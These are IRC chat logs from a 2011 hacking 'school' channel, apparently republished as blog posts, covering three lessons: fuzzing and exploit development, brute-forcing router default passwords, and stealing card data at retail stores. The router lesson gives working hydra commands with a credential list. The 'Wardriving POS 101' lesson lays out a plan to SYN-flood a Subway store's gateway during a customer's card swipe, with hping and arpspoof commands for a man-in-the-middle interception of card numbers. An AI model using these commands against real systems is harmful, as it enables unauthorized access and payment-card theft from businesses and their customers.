 [21:38] <~Fox> can you stop trolling for a few minutes and watch over and make sure shit doesn't get out of line?  
 [21:38] <%jester> i havent been trolling but sure  
 [21:38] <%jester> let me get more coffee and a cig

[21:38] <+PantMissile> Ok. You done?

[21:38] <%jester> go

[21:39] <+PantMissile> Scanning for SQL Injections you learned earlier is a form of fuzzing, where you are looking to crap out a php script.

[21:39] <+PantMissile> The same for LFI.

[21:39] <+PantMissile> Now you cannot type at a billion characters a second.

[21:39] <+PantMissile> Your computer can.

[21:39] <+PantMissile> So your first thought should be: how the fuck can i make my computer do this shit.

[21:40] <+PantMissile> Well, since we're going to try to crap the application out with input, we might as well feed it random bullshit.

[21:40] <+PantMissile> This is not the most efficient technique.

[21:40] <+PantMissile> You see, exploits, for example SQLI, generally follow the pattern of the url/script they are trying to exploit.

[21:40] <+PantMissile> For instance, fuzzing a SQLI you might want to send a valid fucking HTTP Header over the line.

[21:41] <+PantMissile> Now since SQLI is for skiddies, we're not going to be talking SQLI here.

[21:41] <+PantMissile> I will however use it as an analogy for omg so leet h4x0ring.

[21:41] <%jester> woah woah slow down

[21:41] <%jester> accessing databases is valuable

[21:41] <+PantMissile> jester: not the purpose here

[21:42] <%jester> kk

[21:42] <+PantMissile> jester: you already know how to do that.

[21:42] <+PantMissile> ok.

[21:42] <%jester> go on

[21:42] <+PantMissile> say you have a dumbass motherfucker of a programmer.

[21:42] <+PantMissile> int main(int argc, char\* argv[])

[21:42] <+PantMissile> {

[21:42] <+PantMissile> char aids[20];

[21:42] <+PantMissile> memcpy(aids,argv[1],strlen(argv[1]));\

[21:42] <+PantMissile> omit the slash.

[21:42] <+PantMissile> }

[21:43] <+PantMissile> ok.

[21:43] <+PantMissile> Now after running a bash script that feeds it a ton of random parameters, this will crash fairly easily.

[21:43] <+PantMissile> Hopefully you'll have it dump core, that core dump can later be analyzed to see if the crash is exploitable.

[21:44] <+PantMissile> Now let's say you have a somewhat harder to exploit vulnerability.

[21:44] <+PantMissile> That requires a certain pattern of data input.

[21:44] <+PantMissile> The general rule here is to implement that datatype partially by hand.

[21:44] <+PantMissile> Then use a random fuzzer for length fields, etcetera.

[21:44] <+PantMissile> Something that builds forth upon this is a neural network as a fuzzer.

[21:45] <+PantMissile> A neural network is fucking good at learning patterns.

[21:45] <+PantMissile> Now most of the shit that you want to exploit, will have some sort of network connection.

[21:45] <+PantMissile> The idea behind this is to log packets, and let the neural net look for patterns.

[21:45] <+PantMissile> Then evolve the network to reliably produce a crash.

[21:45] <+PantMissile> THEN see if the crash is exploitable.

[21:45] <+PantMissile> All you guise know how a neural net works?

[21:45] <&hatter> a lot of times you want to try \x00's and some %s and some %d etc

[21:46] <&hatter> format strings, nul bytes

[21:46] <&hatter> Not just large parts of data

[21:46] <+PantMissile> hatter: neural net saves time looking for that;)

[21:46] <&hatter> Neural net saves time for everything PantMissile

[21:46] <&hatter> lol

[21:46] <+PantMissile> [http://en.wikipedia.org/wiki/Neural\\_network](http://en.wikipedia.org/wiki/Neural_network) <-neural networks.

[21:46] <+PantMissile> The basic idea is this. It approximates a function to a pattern.

[21:47] <+PantMissile> It sets various outputs depending on the inputs. Then trough reinforcement learning good outputs are rewarded.

[21:47] <+PantMissile> A crash is a pretty good output.

[21:47] <+PantMissile> Valid packets are decent output too.

[21:48] <+PantMissile> So you generally have two stages (correct me if i'm wrong, but this is how i run this)

[21:48] <&hatter> then time to install locally attach to the vulnerable app with a debugger and hit it to see what you've gotta do to write a real payload

[21:48] <+PantMissile> You feed the net packets, and have inputs for chunks of a few bytes (4).

[21:48] <+razor> build a mothafuckin neural net and use it to hack the world

[21:48] <+PantMissile> you teach it to produce outputs that are somewhat like the packets from your packet dump.

[21:49] <+PantMissile> You then feed it random data trough some of the inputs, and see if the outputs crash shit, Those outputs are good.

[21:49] <+PantMissile> Then trough reinforcement learning it will learn to produce those packets that crash shit.

[21:50] <+PantMissile> hatter: anything to add?

[21:50] <+PantMissile> hatter: 'cause this is how i do it.

[21:50] <&hatter> well I mean

[21:50] <&hatter> once you crash shit

[21:50] <&hatter> you gotta figure out how to attack it

[21:50] <+PantMissile> yeah

[21:50] <&hatter> installing it locally or in a virtual machine

[21:50] <&hatter> and debugging it

[21:50] <&hatter> mid-crash

[21:50] <+PantMissile> true.

[21:50] <&hatter> is the best way

[21:50] <&hatter> to learn to get code execution out of the beast

[21:50] <+razor> yeah but a neural net for finding an initial vector would be pretty interesting

[21:50] <+PantMissile> ok, towards debugging then.

[21:51] <&hatter> keep your operating system in mind when debugging

[21:51] <hatter> lol

[21:51] <+PantMissile> You have a neural net that you evolved to produce valid packets (giving it initial values that are already close to an optimum), then generate values that crash shit.

[21:51] <+PantMissile> You FUCKING SAVE THE WEIGHTS.

[21:51] <@Nyse> Source code IMO

[21:51] <+PantMissile> Now you've got a reliable way of DoS already.

[21:52] <@Nyse> Ive not used neural networks

[21:52] <hatter> well sure if you have the source code

[21:52] <hatter> but you don't always have it

[21:52] <@Nyse> No

[21:52] <+PantMissile> point being, we're talking about fuzzing.

[21:52] <@Nyse> Of the neural net fussed

[21:52] <hatter> oh

[21:52] <@Nyse> I wanna see an implementation

[21:52] <hatter> Yeah me too

[21:52] <hatter> that'd be cool

[21:52] <@Nyse> Never worked with neural networks before

[21:52] <+PantMissile> Nyse: you can easily google this shit:P

[21:52] <+PantMissile> there's frameworks out there.

[21:53] <@Nyse> Yea

[21:53] <hatter> oh also

[21:53] <@Nyse> But I wanna see this specific implementation

[21:53] <hatter> the biggest stack size is typically 16 megs

[21:53] <hatter> and heaps usually get capped around 2 gigs

[21:53] <hatter> so if you aren't getting crashen after that

[21:53] <hatter> probably not going to

[21:53] <+PantMissile> hatter: yeah, that's a weakness of this method.

[21:54] <+PantMissile> hatter: this is a lazy man's method rly.

[21:54] <+PantMissile> ok, now that you can hopefully reliably crash shit.

[21:54] <+PantMissile> it's time to turn this into an exploit.

[21:54] <@Nyse> Could I teach a neural network to perform arithmetic ?

[21:54] <+PantMissile> Nyse; yes.

[21:54] <hatter> I'm sure you could Nyse

[21:54] <@Nyse> Ex teach it how to add tomn

[21:54] <@Nyse> Two numbers\*\*

[21:54] <hatter> yeah

[21:55] <+PantMissile> Nyse: yup. easily.

[21:55] <@Nyse> Hmm

[21:55] <+razor> you could make a human with a neural network. it just takes millions of years to develop it to that point :U

[21:55] <+PantMissile> Nyse: fuzzing is more difficult, and you want to choose your inputs correctly depending on the program.

[21:55] <+PantMissile> CHOOSING THE INPUTS TO THE NETWORK IS IMPORTANT.

[21:55] <@Nyse> Ill fuck around with neural networks tmre

[21:55] <hatter> tbqh there's a large problem with the internet right now

[21:55] <hatter> every protocol has something called a bnf code attached to it

[21:55] <hatter> and the parsers for the protocols are not generated from the bnd

[21:55] <@Nyse> How does the performance of neural networks work?

[21:55] <hatter> \*bnf

[21:56] <hatter> its all hand-rolled

[21:56] <hatter> you could write a fuzzer by taking bnf notation as input

[21:56] <hatter> since it defines all the inputs of a protocol

[21:56] <+PantMissile> formal verification l8er.

[21:56] <+PantMissile> that's hellu more difficult.

[21:56] <+PantMissile> ok, you ran reliably crash shit.

[21:57] <+PantMissile> \*can

[21:57] <+PantMissile> You could probably use this to nuke a server offline, like the lamer you are, and waste an exploit.

[21:57] <+PantMissile> Or: you could stick the app in a debugger that monitors memory writes.

[21:57] \* Bruns (~Bruns@LulzCo-BEC64D3B.hsd1.al.comcast.net) has joined #school4lulz

[21:57] <+PantMissile> See where the stack pointer gets overwritten

[21:57] <+PantMissile> And work from there.

[21:57] <hatter> its not the stack pointer

[21:57] <hatter> the stack pointer is %esp

[21:57] <hatter> its the instruction pointer

[21:57] <hatter> %eip

[21:57] <+PantMissile> yeh.

[21:58] <hatter> that you're lookin for

[21:58] <+PantMissile> anyways, the return pointer on the stack;)

[21:58] <hatter> ^

[21:58] <hatter> this also

[21:58] <hatter> does not exist on mips

[21:58] <+PantMissile> fuck mips

[21:58] <hatter> mips architecture does not store its return pointer in the stack

[21:59] <+PantMissile> ok. so you jump to your shellcode, hopefully avoiding tripping any stack cookies etc

[21:59] <+PantMissile> (also read the article that ruined the hacking community on phrack)

[21:59] <+PantMissile> And now you've got root.

[21:59] <+PantMissile> or at least user;)

[21:59] <hatter> lool

[21:59] <+PantMissile> you so leet.

[21:59] <hatter> that was so abridged.

[22:00] <+PantMissile> This is how vulns are discovered nowadays.

[22:00] <+PantMissile> There's practically nobody going through source by hand to find vulns.

[22:00] <hatter> insecure.org/stf/smashstack.html

[22:00] <+PantMissile> Would you want to read 260mb of source code to check the kernel?

[22:00] <+PantMissile> me neither.


[22:00] <+PantMissile> Now there's another way.

[22:01] <+PantMissile> Formal verification, or hoare tuples for lulz & profit.  
[22:01] <+PantMissile> Formal verification is the idea that there's conditions that fuck up an application, that you can express mathematically.  
[22:01] <+PantMissile> Now since you cannot solve the halting problem, this is not guaranteed to work, but pretty fucking good nonetheless.  
[22:01] <+PantMissile> Let's use the example we had earlier.  
[22:02] <+PantMissile> the memcpy to the stack has a CONDITION that allows it to be exploited.  
[22:02] <+PantMissile> namely: the strlen of arg[1] is greater than 20.  
[22:02] <+PantMissile> This is important.  
[22:02] <+PantMissile> Now what you're going to do is see which data enters the application and is user controllable.  
[22:02] <+PantMissile> You mark this data as 'tainted' in your proof.  
[22:03] <+PantMissile> Tainted simply means that an attacker could set it to any random value.  
[22:03] <+PantMissile> A bounds check un-taints a pointer.  
[22:03] <+PantMissile> shit like that  
[22:03] <+PantMissile> also, ryan, stop pmming me, i dont talk to feds.  
[22:04] <%jester> rofl  
[22:04] <+darkspline> lol  
[22:04] <+darkspline> lolol  
[22:04] <zeyz> lol  
[22:04] <Hellspawn> lolololol  
[22:05] <darkmatter|mobile> XD  
[22:05] <JBAIT> lesson over  
[22:05] <zeyz> priceless  
[22:09] \* PantMissile (~PantMissi@LulzCo-DED99F01.serverhorror.com) has joined #school4lulz  
[22:10] <PantMissile> Can i continue now.  
[22:10] <JBAIT> please  
[22:10] <@t> yes  
[22:10] <PantMissile> Ok where was i.  
[22:10] \* t sets mode: +v PantMissile  
[22:10] <+eni> +m  
[22:10] \* t sets mode: +m  
[22:10] <+PantMissile> Somewhere about bound conditions i think.  
[22:10] <@t> <+PantMissile> You mark this data as 'tainted' in your proof.  
[22:10] <@t> <+PantMissile> Tainted simply means that an attacker could set it to any random value.  
[22:10] <@t> <+PantMissile> A bounds check un-taints a pointer.  
[22:10] <@t> <+PantMissile> shit like that  
[22:10] <@t> <+PantMissile> also, ryan, stop pmming me, i dont talk to feds.  
[22:11] <@t> thats still on my screan  
[22:11] <+PantMissile> thnx.  
[22:11] <+PantMissile> Now, how the fuck do we prove what is in a variable after a function.  
[22:11] <+PantMissile> Enter hoare logic.  
[22:11] <+PantMissile> I'll give you a second to lulz there.  
[22:12] <+PantMissile> Hoare logic is nothing more than formally expressing what a program does.  
[22:12] <+PantMissile> In essence you have a precondition, a piece of code, and a postcondition  
[22:12] <+PantMissile> if the precondition is satisfied, and the code is executed, the post condition holds.  
[22:12] <+PantMissile> say {a=1}b=a{b=1} is a valid hoare tuple.  
[22:13] <+PantMissile> Since this language is pretty much limited to first order logic, it is quite computable.  
[22:13] <+PantMissile> The only issue is iterating trough the code step by step and generating pre and post conditions.  
[22:13] <+PantMissile> To me, the easiest way to do this is to use the assembly.  
[22:14] <+PantMissile> It's fairly easy to just number stack locations and generate pre and post conditions.  
[22:14] <+PantMissile> There's toolkits out there that support c and cpp tough.  
[22:14] <+PantMissile> But generally assembly is a much more limited subset of a language, and therefore easier to validate.  
[22:14] <+PantMissile> Ok, so we now know how we validate shit.  
[22:15] <+PantMissile> What about the inputs.  
[22:15] <+PantMissile> The basic idea is this, we compute from the main function on all conditions. We see where a memcpy happens, and we backtrack trough the proof tree to see if the data could be tainted.  
[22:16] <+PantMissile> A good start for writing your own automated theorem prover would be to implement SAKE, and work from there.  
[22:16] <+PantMissile> SAKE is a really simple way of limiting proof trees in predicate logic, but can be easily extended with extra operators and 1st order logic.  
[22:16] <+PantMissile> everyone follow?  
[22:17] <+PantMissile> Good.  
[22:17] <+PantMissile> Now we could simplify our theorem prover a bit by analyzing standard for loop/increment structures etcetera.  
[22:18] <+PantMissile> This allows us to basically skip verifying code that doesn't change shit we need in the first place.  
[22:18] <+PantMissile> So SAKE generates a proof tree that an exit assumption of the algorithm is valid.

## Router password hacking (by Snafu)

Posted by xoxo on June 13, 2011

None comments

<Snafu> Alright  
<Snafu> xoxo, log me?  
<hatter> tzaki: if you can't load the file  
<Mutiny> I can has more pdf books than you can handle, lulznoob  
<hatter> then jus ignore it  
<xoxo> hatter:   
\* hatter gives channel half-operator status to Snafu



```

* dg (~textual@LulzCo-4373BE94.dsl.mweb.co.za) has joined #school4lulz
<xoxo> Snafu: hatter will get that
<xoxo> probably
<hatter> You gonna class Snafu ?
<xoxo> hatter: can u get that?
<Snafu> *****Pesky Ass Default Passwords*****
<xoxo> wifi router hacking
<Snafu> Here we go
<hatter> Get what?
<xoxo> hatter: logging
* hatter sets mode +m #school4lulz
<xoxo> & posting on school wordpress
<Snafu> Whos ever found a router box and hacked it via default
passwords/usernames?
<Snafu> Anyone?
<Snafu> Hands should raise i hope =)
* EmilyPlays (d5770f7b@LulzCo-5910E532.mibbit.com) has joined #school4lulz
<hatter> its +m for the loggin Snafu
<Snafu> There are a metric fuckton of defaults out there
<Snafu> Nods
<hatter> +v people who want to take part
<nachash> Snafu: I've walked random girls through that over the phone.
* #school4lulz :Cannot send to channel
<Snafu> Ah
<Snafu> Um
* hatter gives voice to RandomJoe
<Snafu> Is it bad i dont know irc commands like i should =)
<Snafu> Yeah I know...fuckin noob =) Damn that snafu!
<adh> Na, just look em up.
<Snafu> But please give people voice for me
<RandomJoe> you can ./help <command> 😊
<t> ./mode #school4lulz +v nick
<Snafu> yeah, never had to really
<Snafu> but gotcha
* micja (~quassel@5D8EEFCD.386E4C12.6EDA1009.IP) has joined #school4lulz
* Adolf (~Adolf@9E450AF4.1F24E4E4.13FC21DA.IP) has joined #school4lulz
<Snafu> I guess all the people sending msgs want voice?
* EmilyPlays has quit (Excess Flood)
<hatter> Probably.
<hatter> lol
* Snafu gives voice to Mutiny
* Snafu gives voice to nachash
* jboy19 (jboy19@LulzCo-9C96B27D.hsd1.fl.comcast.net) has left #school4lulz
* NoahY (~AndChat@LulzCo-DCC31903.rochester.res.rr.com) has left #school4lulz
<adh> Safe assumption
* Snafu gives voice to Odysseus
* hatter gives channel half-operator status to nachash
* Snafu gives voice to xoxo
* Snafu gives voice to yawn
<nachash> Like I was saying in PM, I've talked girls through trying default
password combos for routers before.
<Snafu> heh, i could script this i guess
<Snafu> but anyways
<Snafu> Movin on
<Snafu> Okay
* hatter gives voice to nonbit
<Snafu> so yer on a box.....and yes
* XeroX (ident@LulzCo-BCED4F04.dip.t-dialin.net) has joined #school4lulz
<Snafu> you could try one by one
* Snafu gives voice to turnigy
<Snafu> But that'll take a long time right?
<yawn> you should probably make a list of people that want to interact before
+m'ing the chan 😊
<Snafu> literally could be 5 mins before u found the right combo
<Snafu> Who wants to waste 5 minutes trying to find a password?
<RandomJoe> right
<Snafu> So lets script it
* ryan1918 has quit (Remote host closed the connection)
<Snafu> First up, grab my router.lst file
<Snafu> http://www.mediafire.com/?kqrqr9fa2wwm3h
<Snafu> I made it with some firefox plugin off of a default router password
website
<Snafu> dont remember which
<Snafu> but for the example it works well
<Snafu> and its long as hell
<Mutiny> heh
<Mutiny> looks familiar
<Snafu> next up

```

```

<Snafu> grab this bash off pastebin
<Snafu> http://pastebin.com/4z7jUJ6D
<Snafu> chmod +x the bashfile
<Snafu> name it hydrafy
<Snafu> now do
<Snafu> ./hydrafy
* six28 has quit ( )
<Snafu> Youll see some usage options come up
* ryan1918 (~ryan@7016F228.B696884D.7E210C26.IP) has joined #school4lulz
<Snafu> Usage:
<Snafu> ./hydrafy -m <run or save> <options>
<Snafu> Options:
<Snafu> -f <file to be parsed>
<Snafu> -r <brand of router to parse for>
* Co (~ircap@F86C75DA.386E4C12.6EDA1009.IP) has joined #school4lulz
<Snafu> so lets say yer playin with a linksys box
<Snafu> do
* Co (~ircap@F86C75DA.386E4C12.6EDA1009.IP) has left #school4lulz
<Snafu> ./hydrafy -m run -f router.lst -r linksys
<Snafu> that will display the username:password combos found for linksys
* d3 (~dave1@LulzCo-79749957.range62-7.btcentralplus.com) has joined #school4lulz
* Poison (~Tesla@LulzCo-B7E0D38B.midco.net) has joined #school4lulz
<Snafu> ./hydrafy -m save -f router.lst -r linksys
<Snafu> will pop up asking you what file name to save it to
<Snafu> pick something u remember
<Snafu> now then
<Snafu> grab hydra
<Snafu> the link is.....
* TransfiniteGreyWizard has quit (Ping timeout: 240 seconds)
* phed has quit (Quit: Lost terminal)
<Snafu> wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
<Snafu> or apt-get install hydra if its in yer repo
<Snafu> now do
<Snafu> hydra 192.168.1.1 -C ./router.lst -t 1 -e ns -V -f http-get /index.asp
<Snafu> assuming that 192.168.1.1 is the router
* Poison (~Tesla@LulzCo-B7E0D38B.midco.net) has left #school4lulz
<Snafu> the ./router.lst is the name of the saved file
<Snafu> not router.lst literally or you would have overwritten the database
from pastebin
<t> you might wanna let them know what all those flags are doing
<Snafu> so try
<Snafu> hydra 192.168.1.1 -C ./linksys -t 1 -e ns -V -f http-get /index.asp
<Snafu> if you save it to linksys
<Snafu> true
<Snafu> -C is for a colonized file
<t> im a little busy or i would help out sorry
* bigtoad (~toad@B6CD1A55.610B737D.A1B61A52.IP) has joined #school4lulz
<Snafu> where usernames:passwords are ran in multiple rows
<Snafu> there are other ways to run hydra
* freedom (4a780f96@LulzCo-EFFC6835.mibbit.com) has left #school4lulz
<Snafu> I use the -C method for input of dictionaries
* TR0|\\ (~TR0|\\@LulzCo-713404CA.dynamic.swissvpn.net) has joined #school4lulz
<Snafu> and if you make separte username and password files
<Snafu> you would have to modify the bash script from pastebin i dropped
earlier
<Snafu> which would be modifying the $4 and $5 accordingly
<Snafu> thats why I use the -C method
<Snafu> its quicker
<Snafu> and linksys will always use linksys usernames
<Snafu> it wouldnt use a d-link username
<Snafu> so to speak
<Snafu> so no sense in grabbing name combos that would be ruled out by
default...Literally
<Snafu> the T is for parallel
<Snafu> the -t rather
<Snafu> -t 1 means that it will only thread once
<Snafu> -10 means it will send 10 tries at once in the same time
<Snafu> er, -t 10 rather
<Snafu> man hydra to really figure out whats going on
<Snafu> That is what will separte you from Script Kiddies
* lake has quit (Ping timeout: 240 seconds)
<Snafu> Understanding the concepts without being truly spoonfed....and figuring
out ways to modify the commands to do it quicker better and faster
<Snafu> -e ns additional checks, "n" for null password, "s" try login as
pass
<Snafu> Self explanatory right there
* MrOrange (~ronnyd@LulzCo-579414C7.cable.teksavvy.com) has joined #school4lulz
<Snafu> -f exit after the first found login/password pair

```

```

<Snafu> ie
<Snafu> if you had 1000 combos
* Odysseus has quit (Remote host closed the connection)
<Snafu> and it found the answer on the 500th try
* lake (~Suicidal@7B395BC0.182D8D8F.265E0F18.IP) has joined #school4lulz
<Snafu> if you dont include -f in the syntax
<Snafu> it will keep trying, even though it already found the answer
<Snafu> so -f it!
<Snafu> hydra 192.168.1.1 -C ./router.lst -t 1 -e ns -V -f http-get /index.asp
<Snafu> http-get is the kind of request hydra is making
<Snafu> hydra is capable of making http-post and many others
<Snafu> http-get is what we want for router logins
<Snafu> last part
* B14kS33dsOv (~h0stm4sk@LulzCo-8A03C173.washdc.fios.verizon.net) has joined #school4lulz
<Snafu> this can be tricky depending on the router
<Snafu> some routers show you a page, some ask for a login immediately
<Snafu> I dont have a box in front of me to experiment where im at currently so i apologize on that or i would give examples
<Snafu> but
<Snafu> doing hydra 192.168.1.1 -C ./router.lst -t 1 -e ns -V -f http-get /index.asp
* Billie (~Billie@LulzCo-BB91F11F.anonymous.at.anonine.com) has joined #school4lulz
<Snafu> would tell hydra to attack 192.168.1.1, with the router.lst colonized file, trying 1 time each try, trying blank and null passwords, being Verbal about it, exiting after correct guess, using http-get for the method and trying to login at http://192.168.1.1/index.asp
<Snafu> Any questions?
<xoxo> Snafu: g2g. take care. or what do you probably say? Semper fi !
<Snafu> Yeah man -=0
<xoxo> 😊
<Snafu> Semper Fi =)
<xoxo> you know the meaning right?
* turnigy has quit (Remote host closed the connection)
<Snafu> *kick* =/
* TransfiniteGreyWizard (~important@9E450AF4.1F24E4E4.13FC21DA.IP) has joined #school4lulz
<Snafu> I would hope so =-)
* cali (~cali@E44588F.D4F2D0DF.E92F2027.IP) has joined #school4lulz
<xoxo> kick? class done?
<Snafu> always lulzful?
<xoxo> Snafu: yes
<Snafu> in latin?
<Snafu> yeah man, unless people got pertinent questions
<Snafu> ne1?
* RobW has quit (Excess Flood)
* XeroX has quit (Excess Flood)
* HiThere has quit (Excess Flood)
* RobW (RobW@FBA084E3.29DE6ED4.4E2BBCD5.IP) has joined #school4lulz
* zaiger has quit (Excess Flood)
* XeroX (ident@LulzCo-BCED4F04.dip.t-dialin.net) has joined #school4lulz
<Mutiny> For those who don't have/want/need to script it out,

```

<http://www.phenoelit-us.org/dpl/>

```

* kctime (orly@5CB4BAC.80E8F25B.B7449AAF.IP) has joined #school4lulz
* zaiger (~newfriend@OhIntehbutt.com) has joined #school4lulz
* HiThere (~ident@LulzCo-B9A9C274.dhcp.snlo.ca.charter.com) has joined #school4lulz
* nlspecial (~nlspecial@LulzCo-32A2EB1A.dynamic.dsl.as9105.com) has joined #school4lulz
<Mutiny> http://www.phenoelit-us.org/dpl/dpl.html <- and this is the entire list
<xoxo> Snafu: always faithful. always lulzful.
* JesusChrist has quit (Remote host closed the connection)
* lighthouse (~shadow@LulzCo-10001504.tampabay.res.rr.com) has joined #school4lulz
<Snafu> Hah
<Snafu> thats ma list= )
<Snafu> I forgot where i grabbed it from
<Mutiny> Lol
<Mutiny> I use this list all the time <3
* lulznoob has quit (Ping timeout: 240 seconds)
* grobtard (~grobttard@LulzCo-A4270B90.fbx.proxad.net) has joined #school4lulz
<xoxo> Mutiny: i remember that list from somewhere!!!! 😊
<Snafu> The hydra part is nice, because you can make dictionary files to try
<Mutiny> That password list is mentioned in The Art of Deception by Kevin

```

Mitnick </nerd>  
 <xoxo> Mutiny: found pdf of that book?  
 <Mutiny> yes  
 \* hitler has quit (Remote host closed the connection)  
 <Mutiny> also art of intrusion  
 \* d-boy (~David@LulzCo-F34B4C3D.dip.t-dialin.net) has joined #school4lulz  
 <Snafu> ya know, he once gave his phone number out accidentally in a class while teaching people how to list blocked numbers on incoming phone calls  
 <xoxo> Mutiny:  
  
[http://www.google.com/url?sa=t&source=web&cd=1&sqi=2&ved=0CBgQFjAA&url=http%3A%2F%2Fwww.thehackademy.net%2Fmadchat%2Fesprit%2Ftextes%2FThe\\_Art\\_of\\_Deception.pdf&rct=j&q=the%20art%20of%20deception%20pdf&ei=2T\\_1TZq2JozqOfnrzJ8H&usg=AFQjCNHnOmKOb3Fz8dFC4ALDFS52GcEQ&sig2=CxwA-KMJ-oSU8p\\_Nth4iQg&cad=rja](http://www.google.com/url?sa=t&source=web&cd=1&sqi=2&ved=0CBgQFjAA&url=http%3A%2F%2Fwww.thehackademy.net%2Fmadchat%2Fesprit%2Ftextes%2FThe_Art_of_Deception.pdf&rct=j&q=the%20art%20of%20deception%20pdf&ei=2T_1TZq2JozqOfnrzJ8H&usg=AFQjCNHnOmKOb3Fz8dFC4ALDFS52GcEQ&sig2=CxwA-KMJ-oSU8p_Nth4iQg&cad=rja)

<xoxo> got it 😊  
 <Snafu> i called him, and noshit it was him  
 <Snafu> laffed my ass off  
 \* hitler (~adolf123@LulzCo-581B491D.formlessnetworking.net) has joined #school4lulz  
 <xoxo> Snafu: haha 😊  
 \* Derplympics (~Derplympi@LulzCo-8312FFBC.torservers.net) has joined #school4lulz  
 <xoxo> well. everybody take care! i rly g2g now. exam coming up on tuesday!  
 <Mutiny> peace out  
 <Snafu> its out  
 there....[http://digg.com/news/technology/Kevin\\_Mitnick\\_Unmasks Caller\\_ID\\_At\\_HOPE\\_conference](http://digg.com/news/technology/Kevin_Mitnick_Unmasks Caller_ID_At_HOPE_conference)  
 <Snafu> not sure if that link has the video  
 <Snafu> but if u can find the video for that con.....youll see  
 <xoxo> Snafu: <http://www.youtube.com/watch?v=q3S0RjrXhw0>  
 <Mutiny> xoxo go study  
 <Mutiny> or I'll dcc flood you 😊  
 <xoxo> Mutiny: stfu :p  
 <Mutiny> 😊  
 \* raser (~raser@LulzCo-5AF59A36.red-95-123-110.staticip.rima-tde.net) has joined #school4lulz  
 \* MrOrange has quit (Ping timeout: 240 seconds)  
 \* jmZlolo (~jamesb89@LulzCo-C9482D99.barn.cable.virginmedia.com) has joined #school4lulz  
 <Snafu> There ya go =)  
 <Snafu> wish i could youtube....  
 <Snafu> Too much bandwidth flow.  
 <Snafu> \*sigh\*  
 <Mutiny> cant youtube in .af?  
 <Mutiny> oh  
 <Mutiny> I kinda want to open up "lulzlibrary.org"  
 <Mutiny> XD  
 <xoxo> Snafu: military watching too much porn?  
 <xoxo> nachash: u haz logs?  
 <Snafu> Nah, these guys get a gig a day download  
 <Snafu> and we are sharing with em  
 <Snafu> but its real internet  
 <Snafu> not the filtered MWR nonsense  
 <Mutiny> ah  
 <nachash> xoxo: Yes.  
 <xoxo> 😊  
 <xoxo> got my mail? rite?  
 <nachash> Yeah, I've got it.  
 <xoxo> please mail to that address  
 <xoxo> i'm gonna go sleep  
 <xoxo> rite now  
 <nachash> Just logging in so I can paste  
 \* xoxo is thinking if he's gonna light one up before sleep  
 \* d-boy (~David@LulzCo-F34B4C3D.dip.t-dialin.net) has left #school4lulz  
 \* hjax (482e812d@LulzCo-EFFC6835.mibbit.com) has joined #school4lulz

## Wardriving POS 101 (by Snafu)

Posted by xoxo on June 12, 2011

None comments

?????<Snafu> Yaay  
 <Snafu> I got some interesting shit  
 <Mutiny> did the peanuts show up in it  
 <Mutiny> ?  
 <Mutiny> or the corn?  
 \* EmilyPlays (d5770f7b@LulzCo-5910E532.mibbit.com) has joined #school4lulz  
 <Snafu> figured id bring it here from the lulzsec room  
 <Snafu> Wifi\_101

```

<Snafu> So here we go
<Mutiny> #shitjokes
* Dorpher has quit (Quit: Rizon webchat: http://qchat.rizon.net/)
<Snafu> This is from my observations in the US, not sure how other countries are
<Snafu> This encompasses PCI DSS and WIFI networks attached to POS networks
<Snafu> So there ya are, wardriving
<Snafu> You see an ESSID that matches the business name....Well use Subway for this lesson
<EmilyPlays> Hai guize
<Snafu> Subway because its very common there.....they franchise..
<Snafu> Anyways
<Snafu> Most subways have a wifi network so the owner can check his corporate emails and such
<Snafu> And of course, the dude will follow whatever is recommended
<Snafu> Hell if u check the verizon mifis they RECOMMEND wep
<Snafu> wtf right?
<Snafu> So anyways
<Snafu> If yer lucky, youll find a WEP encryption
<Snafu> Now
<Snafu> How do you know if you have gotten a proper network ?
<Snafu> Find the gateway (cough) 192.168.1.1 most likely
<Mutiny> Another neat fact... Technician installed AT&T routers at home locations are by default not
encrypted at all.
<Snafu> then syn flood it with hping3 or whatever
<Snafu> Anyone not familiar with syn floods?
<Snafu> anyone curious how to syn flood?
<iyobe> yes
<hjx> sort of
<Snafu> Okay
<Snafu> Moving on
<Snafu> So
<Snafu> Syn flood the router
<Snafu> Now, for this method, u need to be in view of the register
<Snafu> Not fam with synfloods?
<Snafu> sb1
<Snafu> i dont memorize it
<Snafu> one sec
<Snafu> hping -i u1 -S -p 80 dst-host-or-ip
<Snafu> ie
<d0z3> nice
<Snafu> hping -i u1 -S -p 80 192.168.1.1
<turnigy> whos to say it would take down the service?
<Snafu> hping -help to learn what the option syntaxes are
<Snafu> A syn flood?
<Snafu> Gimme yer IP =)
<Snafu> ill show ya
<Snafu> =)
<d0z3> whats the purpose ? taking it down ?
<Snafu> Alright, now with that being said, You have to view the register
<crklol> >2011
<crklol> >syn flood
<Snafu> Set up the command, but dont hit enter yet
<Snafu> U dont want to cause suspicious activity
<Snafu> wait till someone is getting rdy to pay
<Snafu> watch what they pull out of their wallet
<Snafu> If its plastic
<Snafu> begin the flood
<hjx> what are we using the syn flood against?
* wa- has quit ()
<d0z3> the gw of the lan
<Snafu> if they swipe multiple times....yer good
<Snafu> stop the flood
<Snafu> the gateway
<Snafu> To prevent traffic from leaving the local subnet
<Snafu> ie
<Snafu> the 16 digit credit card number
<hjx> at a store?
<d0z3> subway store, hacked wifi, youre on the wifi
<Snafu> So anyways, what youll normally get is a 16-yr old cashier with pimples and a confused look
because they have to keep swiping the card, and its not working, but they arent getting errors
<Snafu> Most of the time, they will hit the reader because they are unintelligent
<d0z3> lol
<Snafu> As soon as you see the confused look, or multiple swipes, Probably both at the same time
<Snafu> STOP the syn flood
<hjx> lol
<Snafu> Do not DDoS the network, or they might call in a technician
<d0z3> the suspense, i can't hold myself
<d0z3> so.. arp spoof ? :d
<hjx> it would totally lock up the network? fun
<Snafu> after youve verified that the syn flood stops transactions.....MITM via arpspoof or whatever
<d0z3> yay arpspoof :d

```

```

<Snafu> yep
<d0z3> cain!
<Snafu> nice d0z3
<Snafu> oh yeah
<Snafu> syn fludz are fun
<crklol> ethreal
<Snafu> so now what u need to do is find the mac of the reader
<xoxo> (i'm logging this)
<Snafu> so u cause less traffic than a mass arp
<Snafu> ie
* Bob_Robster (~Bob_Robst@C7189919.712D1C05.C199F532.IP) has joined #school4lulz
<Snafu> you dont want to slow down the store owners child porn downloads
<Snafu> go for it
<Snafu> =)
<Snafu> he might get suspicious
<Snafu> so for those who dont know
<Snafu> apt-get install arpspoof
<Snafu> arpspoof -i wlan0 -t 192.168.1.2 192.168.1.1
* iro (~iro@LulzCo-226F28F8.dynamic.chello.sk) has joined #school4lulz
